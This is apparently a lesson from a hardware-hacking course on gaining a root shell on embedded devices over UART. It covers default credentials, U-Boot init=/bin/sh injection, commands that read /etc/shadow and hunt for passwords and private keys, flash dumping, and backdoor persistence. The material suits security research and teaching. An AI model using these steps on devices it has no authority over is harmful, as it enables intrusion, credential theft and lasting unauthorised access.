Getting a Shell
theoryThe Goal
An interactive root shell on the target device. Everything in this course has been building toward this moment. With a UART connection established, a shell means you can read the filesystem, extract firmware, dump credentials, understand the device's software stack, and pivot further.
There is no single method. The path depends on what the device exposes. This lesson covers the main routes — in order from least effort to most.
Path 1: Login Prompt with Default Credentials
Some devices boot normally and drop you at a login prompt over UART. This is the easiest case. Try common defaults before anything else.
Common default credential pairs:
| Username | Password |
|---|---|
| root | root |
| root | (blank) |
| admin | admin |
| admin | password |
| root | 1234 |
| root | admin |
| user | user |
| root | toor |
These cover a large percentage of devices out of the box. Vendors ship with defaults and assume users will change them — most never do.
Finding device-specific defaults:
- FCC database — Search by FCC ID (printed on the device label). The authorization filing often includes internal photos, test reports, and sometimes firmware or documentation that reveals default credentials.
- GPL source releases — Vendors shipping Linux-based devices must release source code. Shadow files, passwd files, or build scripts sometimes include hardcoded credentials.
- ISP documentation — Carrier-provisioned devices often have documented backdoor accounts for remote management. ISP tech support manuals leak regularly.
- Shodan — Search for the device model. Shodan sometimes indexes devices where a previous researcher documented the credentials.
- Boot log itself — Earlier in the boot output, init scripts may echo credentials, mount passwords, or show configuration being applied. Scroll back through your terminal buffer.
If you recovered anything from the U-Boot environment — a WiFi key, a stored password variable — try it here. Production devices often reuse the same credential across access vectors.
Path 2: U-Boot Shell Injection
Covered in depth in L7. If you can interrupt the U-Boot autoboot and modify bootargs, add init=/bin/sh to the kernel command line:
=> setenv bootargs console=ttyS0,115200 root=/dev/mtdblock3 rootfstype=squashfs init=/bin/sh
=> boot
The kernel starts, mounts the filesystem, and runs your shell as PID 1. No credentials. Full root access.
Path 3: Single User Mode and BusyBox Fallback
Some init systems respond to kernel command line flags designed for recovery:
# Append to bootargs in U-Boot
setenv bootargs <existing_args> single
The single parameter boots Linux into single-user mode — a maintenance mode that drops to a root shell on many distributions. Not universal on embedded systems, but worth trying if init=/bin/sh fails.
If /bin/sh is absent or fails, BusyBox is almost certainly present:
setenv bootargs <existing_args> init=/bin/busybox sh
BusyBox bundles a shell along with most standard Unix utilities in a single binary. It is the standard toolkit on embedded Linux and is present on virtually every device in this space.
Path 4: Interrupting Init
On some older or minimally configured devices, the init system can be interrupted via Ctrl+C during boot. This is unreliable but costs nothing to try. Watch the UART output during the init sequence and send Ctrl+C when you see services starting. On a handful of devices, this drops to a shell or a reduced prompt before authentication is enforced.
What to Do Once You Have a Shell
You are in. Now work quickly and methodically. Start with orientation:
# Who are you?
id
whoami
# What is this system?
uname -a
cat /proc/version
cat /etc/os-release
Explore the filesystem:
# Filesystem overview
ls /
ls /etc/
ls /var/
# User accounts
cat /etc/passwd
cat /etc/shadow
# Hostname and network identity
hostname
cat /etc/hosts
Hunt for credentials and sensitive configuration:
# All config files
find / -name "*.conf" 2>/dev/null
find / -name "*.cfg" 2>/dev/null
find / -name "*.json" 2>/dev/null
# Grep for passwords across /etc/
grep -r "password" /etc/ 2>/dev/null
grep -r "passwd" /etc/ 2>/dev/null
grep -r "secret" /etc/ 2>/dev/null
# Private keys
find / -name "*.pem" -o -name "*.key" -o -name "id_rsa" 2>/dev/null
Check the network:
ifconfig
ip addr
netstat -an
cat /proc/net/route
Check running processes — they reveal what services are active:
ps aux
ps -ef
Find writable paths — useful for dropping files or maintaining access:
find / -writable -type f 2>/dev/null
find / -writable -type d 2>/dev/null
Extracting Firmware from a Live Shell
If the device is running and you have a shell, you can read raw flash partitions directly:
# List MTD partitions
cat /proc/mtd
# Example output:
# dev: size erasesize name
# mtd0: 00020000 00010000 "u-boot"
# mtd1: 00010000 00010000 "u-boot-env"
# mtd2: 00800000 00010000 "firmware"
# mtd3: 006e0000 00010000 "rootfs"
# Read a partition to a file
cat /dev/mtd2 > /tmp/firmware.bin
cat /dev/mtdblock3 > /tmp/rootfs.bin
To exfiltrate over the UART shell: if the device has networking, use netcat or tftp to send the file to your machine. If only UART is available, use base64 encoding and copy-paste:
# Encode and print (copy terminal output)
base64 /tmp/rootfs.bin
# On your machine, decode it back
base64 -d captured_output.txt > rootfs.bin
For larger partitions, split into chunks:
dd if=/dev/mtd2 bs=4096 | base64
This is slow. For anything over a few hundred kilobytes, a network path is strongly preferable.
Persistence (Brief)
If you want to survive a reboot:
- Add an SSH public key to
/root/.ssh/authorized_keys— requires SSH to be running or installable. - Add a backdoor user to
/etc/passwdand/etc/shadow. On squashfs (read-only) root filesystems, look for a writable overlay or/etcbinding. - Modify a startup script in
/etc/init.d/or/etc/rc.d/if the filesystem allows writes.
Be aware: many embedded root filesystems are squashfs (read-only). Changes go to a writable overlay and may not survive a factory reset or firmware update. Know your target before depending on persistence.
Documentation
Document everything as you go. The UART session is ephemeral — there is no replay once you disconnect.
- Enable session logging in your terminal before connecting (
screen -L, minicom log file, or redirect the tee output). - Screenshot or photograph the physical device and its UART connections.
- Save the full boot log — it contains version strings, partition layout, module loading, and init output that you will want to reference later.
- Copy-paste every interesting file content and command output into your notes.
A good rule: treat every UART session like it is your only access. Log everything.